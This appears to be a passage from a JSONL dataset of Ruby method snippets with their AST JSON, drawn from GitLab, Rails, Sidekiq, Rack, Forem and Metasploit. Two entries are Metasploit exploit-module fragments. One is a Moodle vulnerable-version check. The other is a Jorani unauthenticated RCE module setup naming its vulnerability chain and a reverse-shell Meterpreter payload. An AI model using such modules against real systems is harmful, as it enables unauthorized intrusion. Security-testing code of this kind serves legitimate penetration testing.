"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@subscriptions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCable\"]},\"Connection\"]},\"Subscriptions\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@connection\"]}]}]}]}]}","id":"3e7e9615-d695-4ad2-83cf-5191c170c9a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/runners/runner_creation_strategies/group_runner_strategy.rb","start_line":9,"raw_source":"def initialize(user:, params:)\n          @user = user\n          @params = params\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"e70a1adb-ffb0-4b39-bcae-0ba1988ca2a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/milestone_actions.rb","start_line":60,"raw_source":"def tabs_json(partial, data = {})\n    {\n      html: view_to_html_string(partial, data)\n    }\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"tabs_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partial\"]},{\"type\":\"optarg\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"send\",\"children\":[null,\"view_to_html_string\",{\"type\":\"lvar\",\"children\":[\"partial\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}","id":"ec943ecd-afae-43b6-b1a6-f44cc953f070"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb","start_line":158,"raw_source":"def check\n    return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?\n\n    v = moodle_version\n    return CheckCode::Detected('Unable to determine moodle version') if v.nil?\n\n    # https://moodle.org/mod/forum/discuss.php?d=407393\n    v = Rex::Version.new(v)\n    if v.between?(Rex::Version.new('3.9'), Rex::Version.new('3.9.1')) ||\n       v.between?(Rex::Version.new('3.8'), Rex::Version.new('3.8.4')) ||\n       v.between?(Rex::Version.new('3.7'), Rex::Version.new('3.7.7')) ||\n       v.between?(Rex::Version.new('3.5'), Rex::Version.new('3.5.13')) ||\n       v.between?(Rex::Version.new('3'), Rex::Version.new('3.5'))\n      return CheckCode::Appears(\"Exploitable Moodle version #{v} detected\")\n    end\n\n    CheckCode::Safe(\"Non-exploitable Moodle version #{v} detected\")\n  end","complexity_score":39.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"moodle_and_online?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"No web server or moodle instance found\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[null,\"moodle_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Unable to determine moodle version\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.9\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.9.1\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.8\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.8.4\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.7\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.7.7\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.5\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.5.13\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.5\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exploitable Moodle version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"str\",\"children\":[\" detected\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Non-exploitable Moodle version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"str\",\"children\":[\" detected\"]}]}]}]}]}","id":"b43ce3b9-5dad-470b-bac0-67f291715c51"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/postgresql.rb","start_line":38,"raw_source":"def prepare_update_statement(o)\n          if o.key && has_join_sources?(o) && !has_group_by_and_having?(o) && !has_limit_or_offset_or_orders?(o)\n            # Join clauses cannot reference the target table, so alias the\n            # updated table, place the entire relation in the FROM clause, and\n            # add a self-join (which requires the primary key)\n            stmt = o.clone\n            stmt.relation, stmt.wheres = o.relation.clone, o.wheres.clone\n            stmt.relation.right = [stmt.relation.left, *stmt.relation.right]\n            stmt.relation.left = stmt.relation.left.alias(\"__active_record_update_alias\")\n            Array.wrap(o.key).each do |key|\n              stmt.wheres << key.eq(stmt.relation.left[key.name])\n            end\n            stmt\n          else\n            super\n          end\n        end","complexity_score":54.9,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_update_statement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"key\"]},{\"type\":\"send\",\"children\":[null,\"has_join_sources?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_group_by_and_having?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_limit_or_offset_or_orders?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stmt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"clone\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stmt\"]},\"relation=\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stmt\"]},\"wheres=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"relation\"]},\"clone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"wheres\"]},\"clone\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stmt\"]},\"relation\"]},\"right=\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stmt\"]},\"relation\"]},\"left\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stmt\"]},\"relation\"]},\"right\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stmt\"]},\"relation\"]},\"left=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stmt\"]},\"relation\"]},\"left\"]},\"alias\",{\"type\":\"str\",\"children\":[\"__active_record_update_alias\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"key\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stmt\"]},\"wheres\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stmt\"]},\"relation\"]},\"left\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"name\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"stmt\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"e05b234a-de48-4d26-b30f-b162e05631ce"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/php/jorani_path_trav.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Jorani unauthenticated Remote Code Execution',\n        'Description' => %q{\n          This module exploits an unauthenticated Remote Code Execution in Jorani prior to 1.0.2.\n          It abuses 3 vulnerabilities: log poisoning and redirection bypass via header spoofing, then it uses path traversal to trigger the vulnerability.\n          It has been tested on Jorani 1.0.0.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'RIOUX Guilhem (jrjgjk)'\n        ],\n        'References' => [\n          ['CVE', '2023-26469'],\n          ['URL', 'https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py']\n        ],\n        'Platform' => %w[php],\n        'Arch' => ARCH_PHP,\n        'Targets' => [\n          ['Jorani < 1.0.2', {}]\n        ],\n        'DefaultOptions' => {\n          'PAYLOAD' => 'php/meterpreter/reverse_tcp',\n          'RPORT' => 443,\n          'SSL' => true\n        },\n        'DisclosureDate' => '2023-01-06',\n        'Privileged' => false,\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path of Jorani', '/'])\n      ]\n    )\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Jorani unauthenticated Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an unauthenticated Remote Code Execution in Jorani prior to 1.0.2.\\n\"]},{\"type\":\"str\",\"children\":[\"          It abuses 3 vulnerabilities: log poisoning and redirection bypass via header spoofing, then it uses path traversal to trigger the vulnerability.\\n\"]},{\"type\":\"str\",\"children\":[\"          It has been tested on Jorani 1.0.0.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"RIOUX Guilhem (jrjgjk)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-26469\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jorani < 1.0.2\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"php/meterpreter/reverse_tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2023-01-06\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path of Jorani\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"fd5b6d08-87c4-408e-a632-1fe81df36233"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/cleanup_refs_service.rb","start_line":52,"raw_source":"def met_time_threshold?(attr)\n      attr.nil? || attr.to_i <= TIME_THRESHOLD.ago.to_i\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"met_time_threshold?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"to_i\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TIME_THRESHOLD\"]},\"ago\"]},\"to_i\"]}]}]}]}","id":"3901e949-e8db-4d00-ba7d-3b26f902929e"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/test/web_test.rb","start_line":25,"raw_source":"def app\n    @app ||= Rack::Lint.new(Sidekiq::Web.new)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"app\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Lint\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Web\"]},\"new\"]}]}]}]}","id":"3f1902ba-c631-447c-9bae-db29b51732a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/projects/text_replace.rb","start_line":40,"raw_source":"def resolve(project_path:, replacements:)\n        project = authorized_find!(project_path)\n\n        result = ::Repositories::RewriteHistoryService.new(project, current_user)\n                   .async_execute(redactions: replacements)\n\n        return { errors: result.errors } if result.error?\n\n        { errors: [] }\n      end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_path\"]},{\"type\":\"kwarg\",\"children\":[\"replacements\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"lvar\",\"children\":[\"project_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Repositories\"]},\"RewriteHistoryService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"async_execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redactions\"]},{\"type\":\"lvar\",\"children\":[\"replacements\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"error?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"c568ac1c-f048-49ad-b930-4847b19a6a94"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/avoid_uploaded_file_from_params.rb","start_line":44,"raw_source":"def on_send(node)\n          return unless calling_uploaded_file_from_params?(node)\n\n          add_offense(node)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"calling_uploaded_file_from_params?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"bfa6f167-971b-46dc-9569-632a835dfcf6"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/geolocation.rb","start_line":19,"raw_source":"def serialize(geo_locations)\n      PG::TextEncoder::Array.new.encode(cast(geo_locations).map(&:to_ltree))\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"geo_locations\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"TextEncoder\"]},\"Array\"]},\"new\"]},\"encode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cast\",{\"type\":\"lvar\",\"children\":[\"geo_locations\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_ltree\"]}]}]}]}]}","id":"e4921ad2-f8b6-4edf-ab76-9fe65fdd1f1c"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_events.rb","start_line":102,"raw_source":"def test_finish_is_called_on_close\n      events = []\n      ret = [200, {}, []]\n      app = lambda { |env| events << [app, :call]; ret }\n      se = EventMiddleware.new events\n      e = Events.new app, [se]\n      triple = e.call({})\n      triple[2].each { |x| }\n      triple[2].close\n      assert_equal [[se, :on_start],\n                    [app, :call],\n                    [se, :on_commit],\n                    [se, :on_send],\n                    [se, :on_finish],\n      ], events\n    end","complexity_score":19.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_finish_is_called_on_close\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},{\"type\":\"sym\",\"children\":[\"call\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"se\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EventMiddleware\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"events\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Events\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"app\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"se\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"triple\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"call\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"triple\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"triple\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"se\"]},{\"type\":\"sym\",\"children\":[\"on_start\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},{\"type\":\"sym\",\"children\":[\"call\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"se\"]},{\"type\":\"sym\",\"children\":[\"on_commit\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"se\"]},{\"type\":\"sym\",\"children\":[\"on_send\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"se\"]},{\"type\":\"sym\",\"children\":[\"on_finish\"]}]}]},{\"type\":\"lvar\",\"children\":[\"events\"]}]}]}]}","id":"e4f8ce64-d53c-46ff-93f2-d26c4ea4b3bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/deploy_tokens_controller.rb","start_line":9,"raw_source":"def revoke\n    @token = @project.deploy_tokens.find(params[:id])\n    @token.revoke!\n\n    redirect_to project_settings_repository_path(project, anchor: 'js-deploy-tokens')\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"deploy_tokens\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@token\"]},\"revoke!\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"project_settings_repository_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"str\",\"children\":[\"js-deploy-tokens\"]}]}]}]}]}]}]}","id":"b9d482fa-9519-426a-a62d-181dde928054"}
